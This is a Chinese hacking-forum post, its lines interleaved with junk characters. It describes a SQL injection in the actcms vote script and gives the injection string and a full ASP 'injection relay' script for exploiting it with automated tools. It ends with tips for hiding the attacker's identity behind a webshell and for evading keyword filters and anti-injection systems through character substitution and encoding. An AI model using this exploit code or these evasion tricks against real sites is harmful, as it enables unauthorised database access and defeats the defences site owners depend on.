找回密码
 立即注册
查看: 2722|回复: 0
打印 上一主题 下一主题

注入中转的高级应用,actcms漏洞以及其他

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-6 21:13:20 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式

% \7 U) D/ e: d- @* U" ?: g! }看到ninty大牛的blog的一篇文章
7 U: M( v: O' K链接标记[url]http://www.forjj.com/?action=show&id=80[/url]2 `  e0 r& y) r; L% q. Z1 F
关于actcms漏洞的利用  by 3x qq:381862589
6 p: c" j) v+ v2 H) P转载请注明以上) G1 \' \# s( Y' A0 Y' Y$ |
漏洞文件:9 B4 m% Q# e; i7 c+ h9 K) L
/plus/vote/vote.asp
2 r" }9 M- s3 n代码: 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then    0 f  Z+ N3 g8 X4 m! Q
6 N4 U3 i) z7 N6 B# J
2    response.write "<script>alert('请选择投票项目。');window.close()</script>"   ' ^5 A: \9 f8 Q4 d7 s, M9 E

7 c# q( x3 Y. l" k3    response.end   
2 ~- X! u& J; n8 T# p- A8 e
5 `4 M/ C: N+ X: _4    end if   
) _$ K8 I7 f/ k! B+ c* \9 a4 ~) j3 t6 t9 ?$ @' P+ n
5    for i=1 to request("voted").count   
! U. N7 \  r2 r7 G" q, r
% T9 s- s$ u5 b0 x6    actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))    3 N. A2 c* V4 L% ]; c+ c

5 n$ d0 j- ~6 o8 d7    next    6 R& \9 h. e' [) T9 J+ z0 M! G

# H# z" e. U% z2 f9 e, {9 k! p. W8....    - e7 X4 J/ O; V6 e1 S
) [1 @, t' o5 s- w. X
9response.Redirect "index.asp?id="&id&""   ( Z( m8 T. ~' S
投票结束回跳转回index.asp这个投票结果页面
! y& ~7 _7 |& [1 F( K2 C( B$ D如果投票成功票数加1
3 K0 M; M1 `  z* X3 _            失败票数不变! M& B, f; L3 \8 G) R6 ^' {
如图:. p9 P1 E/ _) U! k$ Y9 R
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)# R# ~3 w; J1 G4 g( ?

8 D6 W0 a2 K) [" o' j2 w2009-12-27 13:20
, C2 }8 G/ u* B7 C1 L) ]% m; a5 N
利用这点来注入,由于ninty大牛学java的,但是java运行环境实在是。。。。不说了
0 e7 [$ j! `( y7 g$ h: N
: V  n$ g9 M. B" Q7 C$ Q本帖隐藏的内容需要回复才可以浏览
: |) r7 f; e5 S我们用注入中转来实现这个注入具体代码如下:* r1 b, Q- j6 h; b% V" S0 w
先用寂寞的刺猬大牛的注入中转生成jmget.asp
& p: l6 g- T. M: W+ q7 D' {- F0 j注入地址:http://localhost/actcms/plus/vote/vote.asp
1 }+ a% A, O" Z( |2 L注入键值:id=1&voted=-1 or 1=                                            '这里这样换的话就有学问了,不用去判断有什么投票选项
  E: u% Y  [5 l. |7 @- ]% g% j8 ]2 n8 U
然后进行修改变成如下代码: 链接标记预览源代码 链接标记打印链接标记关于01<%
( R$ N1 d5 j7 G3 b) I; M2 M
) G: g% v' `1 y! A1 w' u02JmdcwName=request("jmdcw") - j9 ]! M, s6 P! J& J2 ^
( O% K! b# {0 j6 [- I' j, C
03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T] ( W5 T# `- Y+ c2 l) v' n
* t! }# ]8 p. B+ F& Y
04JmStr="id=1&voted=-1 or 1="&JmdcwName
! o- S4 \2 _; Q: |, W; K0 P, q7 N3 y' k& }3 b! N: P0 W' U
05JmStr=URLEncoding(JmStr) & h( o% f# ~& P

* I; g- x+ s  D/ O! T06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp": q7 k1 t& D1 K+ |
0 G* B; T5 S2 Z6 E
07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"' |7 L2 |6 q+ u5 n* e1 C

* O4 A5 J9 b& K& `0 Z4 d08testurl=testurl & "?" & JmStr
# }' P/ U: @8 W+ {8 m( V$ I  `- P( m, @; r/ g4 {9 R
09JMUrl=JMUrl & "?" & JmStr , W8 E) L) p3 i# M, [3 V' k7 @$ }7 G8 I

- F8 |9 K/ S  w2 P+ R: g5 y! T10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"7 J  {! x% X, i: V# A% M* |7 i

& \* @" C8 h9 w. h11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"
) S: M1 Y1 w4 E: f6 W" P5 t: z: L5 P0 J
12JmCok=replace(JmCok,chr(32),"%20")  
& Y5 k  Y2 A1 `
9 |& R$ b. F9 W! ^; P, O$ I3 T/ q13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数 / d% f5 X; H8 A3 S8 J
/ N! T7 I( t; R% @5 S" Y* w
14  : m6 S, G2 w0 I+ H
0 T- k) k- x1 z
15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票
+ M( H& z* W" a, G7 G9 b4 {/ O0 A  n2 c0 p- c. {* b
16  
; X0 S4 O  K5 R# B$ O
8 W* y# z( e* S' H5 E17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录
1 T/ z, E; J1 o5 u% c
! t% @& k7 e: n) c, _+ x18response.write test1&""&test2&""$ a1 ?- ~9 ~& w

. |5 y8 P$ C; c. {4 |19  
; e4 P# R+ G- f; z( O* ~# C
( p2 L. c& j) d9 v20if test1=test2 then '如前后记录相等,表示失败
( X  J0 j1 I9 m0 e& i3 u& t: F7 u- t: n: Z8 J- j: t- H
21  response.write "failed"3 T  ]  e( q, s8 b. h# u
# A2 |- i- W) S+ p" \9 M6 U* _
22else
9 {2 H3 s2 k. I$ [% l1 X) |2 [$ r2 g& F
23  response.write "succeed"
' F" z1 \. c. ~* }7 ~6 f. T8 f# j5 V* o( @5 a
24end if  % \% P. W9 X" s

, M) ]# j0 v* e$ g25  
, b! Q/ a: V# L9 q1 D3 y1 y
. b6 N. b# ]* f, G+ w26response.write "by 3x"7 n3 A  t- Q) F
; o  a2 B1 M0 k) W  ?- L  K2 M
27  & o* e! M) Q1 P2 @1 i1 n
7 r5 g- d. r' ~
28  ) d( j/ x4 e9 B
. G$ w8 E1 A/ r. p  I
29Function PostData(PostUrl,PostStr,PostCok,PostRef)   : i. a% \: C1 D# W* K1 t: {4 z; K
1 }: m/ z- r$ H/ r5 ^$ D3 Y
30Dim Http ! R6 `4 _1 Y* x6 h
- t1 R7 _; _, ]' ^/ R8 w% D' K
31Set Http = Server.CreateObject("msxml2.serverXMLHTTP") 2 e* x/ z, l0 }

; j2 G# w' Q& l1 F6 L7 _: L1 C32With Http
& ^; ?( _3 \" `* Z9 e" z; C& B& O8 }+ N2 m5 e* b  \& m! c
33  
8 I8 ^3 K$ g$ `* e! o/ {1 r: o0 H/ f4 T: Y* ]1 k
34.Open "GET",PostUrl,False  }' N2 a) e4 I  s( V7 f
3 Z4 r# H8 }7 Q0 w: t
35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"0 m0 Q& P. {2 F" M& x

8 q8 V" L% a: n, T" n36.SetRequestHeader "Referer",PostRef 7 s/ K3 ~/ p9 v

/ t. c) r0 L( Q' z8 d37.SetRequestHeader "Cookie",PostCok
3 X' v- q* @. h
! D4 O  p3 O. h2 s+ z38.Send ()
+ [' O4 _2 ^! ~/ S' F2 H
, e3 x4 D4 m. A) @1 \7 {4 ^/ Z5 w39PostData = .ResponseBody
8 v6 S8 x6 x: W5 ~. I2 V( W; [) Q9 U
40End With- p3 F. O; O8 j- h8 _/ Z6 ]
# j9 X- M% V7 |. l
41Set Http = Nothing
% X7 z7 W- ]! t  D& r, t3 z, r8 q& M
7 {9 P: c. D. i5 l/ |% X5 k; Q% W3 p; F42PostData =bytes2BSTR(PostData)
* D- l& L+ c1 c1 U
* N! A" K3 ~4 R/ J- m0 S* g43End Function
: u3 L. }( K) L/ D
! w1 M! L+ B) ]3 F  ]3 Q44  : t5 A: q( S: y

8 x: w5 t$ B) X5 c9 ~: U5 y* H45  " |& X9 i  R7 T

. v0 @* Z/ ^9 `1 d/ E, }$ x- ~( T46Function bytes2BSTR(vIn) . I1 \4 h% N" I; ^/ j

/ E) K. f3 J' b7 w- {% b47Dim strReturn # m! p7 U" r4 N" Y1 I$ r% z1 H# b

4 e- h; g$ B% ~+ n48Dim I, ThisCharCode, NextCharCode
# ]5 ?7 d/ e/ J7 X* h* W5 r( _6 U3 q3 b2 f7 Q, {' e# T+ Q7 B7 y3 f
49strReturn = ""* T, G4 H1 M+ E5 D6 v* A9 d

  c  L6 F+ C7 n% U2 V50For I = 1 To LenB(vIn)
& J! O- o8 Y; e3 d  \9 ]0 e9 c( @8 N
51ThisCharCode = AscB(MidB(vIn, I, 1)) : v, r7 H6 q" _' R. I0 A+ W; D- X* t+ ]

% S: X9 m% M! K8 p52If ThisCharCode < &H80 Then
2 G1 X7 H& J  p
0 h8 h1 ^% r6 T& d53strReturn = strReturn & Chr(ThisCharCode)
2 V) L, I  x6 i. Z2 @- `
% _% u0 c& ?8 l! r4 o4 o54Else
, v: ~; m. [/ s( m; o( C: L( r
; K9 `" p7 \4 u+ [( ], w/ \. [% N% ~55NextCharCode = AscB(MidB(vIn, I + 1, 1))
- o7 ^$ K4 Q; Y: b7 w( R. R3 q
* T9 k% N3 o, E. W5 ]( \- R# {1 T56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode)) 9 E: G/ g3 _; U5 _$ m

3 d4 Y& e, Q- r( d57I = I + 1 ) K1 B5 m# T2 a- Q' T% S
! ^9 |' i( S7 b# S9 i
58End If
9 ^0 J6 t. U  ?$ T: q1 s" V, Q
+ t  H  M& l5 r# s' w59Next
/ W6 e& h  A  b) Z4 d" R, ^, {: Y# _) J
60bytes2BSTR = strReturn 9 T4 o& ], P+ d! n1 H5 m4 ]+ y* a
; R$ J/ A  V2 b# z) M; v9 [- v0 `4 ?
61End Function
" @5 P/ _. ?+ |" t* W- g5 d
$ q& e  I5 V% B9 l5 x' W62  / g+ }' U: G$ P- D5 v8 x* U) p) o

. M9 @8 B& y# c7 R63Function URLEncoding(vstrin)  2 k; y5 F4 T7 G' n8 Q( O
+ A% s* B9 |) [+ K
64strReturn=""
, t, x0 C) s) D- D& {/ }" y
: |; F% l3 g8 p  s  c1 o- J65Dim i : P$ S+ k# \* `: K1 \8 I8 \; L1 T
+ `8 V4 X2 S  S! `  h  j1 O- @
66For i=1 To Len(vstrin)
. S) l, l: r8 A7 Y8 A% i: Y: h
' L7 H  S3 m& M0 K* v67ThisChr=Mid(vstrin,i,1)
+ V+ A- m$ ]6 p! _4 k4 z4 ]( t  u3 i
68if Abs(Asc(ThisChr))< &HFF Then. }& }+ [6 {$ Y  @1 P/ \1 f( }2 V
4 T+ W! Y" [4 g5 c
69strReturn=strReturn & ThisChr
) z% h1 r: v+ J2 p" y1 n$ W1 }1 r/ C& Z( y4 S
70Else
7 R7 i- k! _) A0 R( e/ A, q' D, D, e% N( }; w
71InnerCode=Asc(ThisChr)
6 `( _$ L9 C+ k+ {) P  S
" {5 o& _$ Y9 W) v72If InnerCode<0 Then6 d4 P) n# C  K2 U6 R7 M

. ?+ F9 [" x5 Z4 p' Q8 t% H73InnerCode=InnerCode + &H10000
/ b% s4 v( u3 Q5 S9 U6 w$ h: C7 Z" u0 F! m0 o5 }
74End If- W7 ~* ^( G* o$ J- }5 Z
1 `0 F( C7 }2 v1 L$ u7 @; j5 V
75Hight1=(InnerCode And &HFF00) \&HFF * b' a& }: \2 i; M4 z
- w- }* B5 l0 f( {9 q! ^
76Low1=InnerCode And &HFF   j- o0 S$ V- i/ G) Q

5 c" O( S. r3 J+ P# W" W! D0 I8 s77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)
. H. P2 h9 S$ Q1 U/ I9 {
0 i. [+ K- W* I  z; z4 |6 M) W- Z( j78End if
. F5 N9 X+ h; e* e2 C  @6 n5 }) _8 k6 z: ?" L+ h
79Next
, M9 Y9 Z. C. H4 U3 D# {% y- Y1 H& g: h
80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20 ) `5 F, ~; C  K2 M5 F

6 A2 c, M4 w4 ^; r2 ^! d81strReturn=Replace(strReturn,chr(43),"%2B")  'JMDCW增加转换+字符 ( `+ I  a+ c6 ?8 x, |9 I8 d1 K
! d' j/ j0 H' M) Y
82'strReturn=Replace(strReturn,过滤字符,"转换为字符")  '在此增加要过滤的代码
: p$ D- l6 b  B* @. C
' d' e5 m- ^' C- \0 t4 g% ?83URLEncoding=strReturn
7 u8 v) W0 j! t  L2 y5 o5 S
6 @. ~$ {; u/ v2 X$ r3 E84End Function; s% `; V) x. t( {' n3 u* M8 X

  ]7 q$ \5 p% d) j  y9 E, y7 B0 a85  ! N  S# ~) @7 N4 s; |; M$ @

9 k  Z  J- j+ d) ~86function getSt(body)
$ e- o3 h) F4 o4 k4 ~  q
* t; V0 _" W, \: n8 R87  startpot=instr(body,"投票人数:")+len("投票人数:")
. e& ~8 ], y9 f* a( E2 [: Q0 b/ a
88  endpot=instr(startpot,body," ") ' t6 k8 V6 ]/ E) u7 m" G

: ]  d, H' t8 T! Y9 I89  getSt=mid(body,startpot,endpot-startpot)
5 Z( u: f0 u0 P$ t2 J& P' w7 j7 n% j" {/ Z& o% a3 D9 Z6 }8 K
90end function
- s9 M- S: J' J" r' f
  F$ n* j& v- s4 s, ]" ~91%>  R: Z% z) g' N$ i8 e/ }
注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了) ^4 N0 h( V* w
测试下效果:
" D2 k6 c( ^" M" o/ B投票成功:+ ^% p' u7 G* P0 v; H
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)
3 Y; V7 j% G% n+ Q6 d: g( o. ?" J2 i: [
2009-12-27 13:29
! M6 z3 I5 t  x" L# H投票失败
3 w" Z$ N4 \6 |  m1 Ohttp://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)8 m2 h* f0 {3 Q: v
( I: a; A- V4 P' P& s% }2 R
2009-12-27 13:298 H8 G) z: e0 Q1 ?# u# q
-------------------------------------------------------------------------------
5 O! c: D. F, N3 u5 X/ \6 L再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因,明小子等注入工具是多线程的,而这个投票人数的变量没进行锁的机制。。。所以
3 M0 ~, t2 M& U" i% u9 [$ ^, Z很抱歉。。。只能用单线程工具去注入。。。。。
7 K( k& a5 o% i" ^3 @3 I所以失败。。。不好意思。。。5 W& I9 d% X  @6 |$ T, a4 m9 T$ F
-------------------------------------------------------------------------------' j2 s0 a! x6 v

& N9 G4 A4 B" c" x4 K注入中转的一些其他应用) p" `$ M4 r9 Z, C! s, z+ U
其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了8 T, r  a* o, k
1.普通的get型的注入点如果中转一下,放到我们的webshell上跑,有效的隐藏我们的id8 v3 x# u% Z( p. x- ]( g: S
2.post注入转成get型的注入,方便我们使用工具来跑
2 N- v% [) i1 d0 I3.在一些cms或者一流拦截系统,过滤了selelct等关键词,这里的过滤指的是replace,我们可以在代码中进行转化,replace(jmstr,"select","sselectelect"),这样我们就可以用工具了,对于一流拦截的突破就replace(jmstr,"%20","%09")
% M8 S- Q0 T8 [- \4.在某些防注入系统中的突破,上次我遇到一个防注入,大家应该也很熟悉,可以通过id--->%69d来绕过,但是如果是post的呢?我把他中转成get型的,但是注入键值我改成%69d=,成功绕过* s$ p* U+ p; _) Q( l$ M) d

7 z* s% @7 d. w. E
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表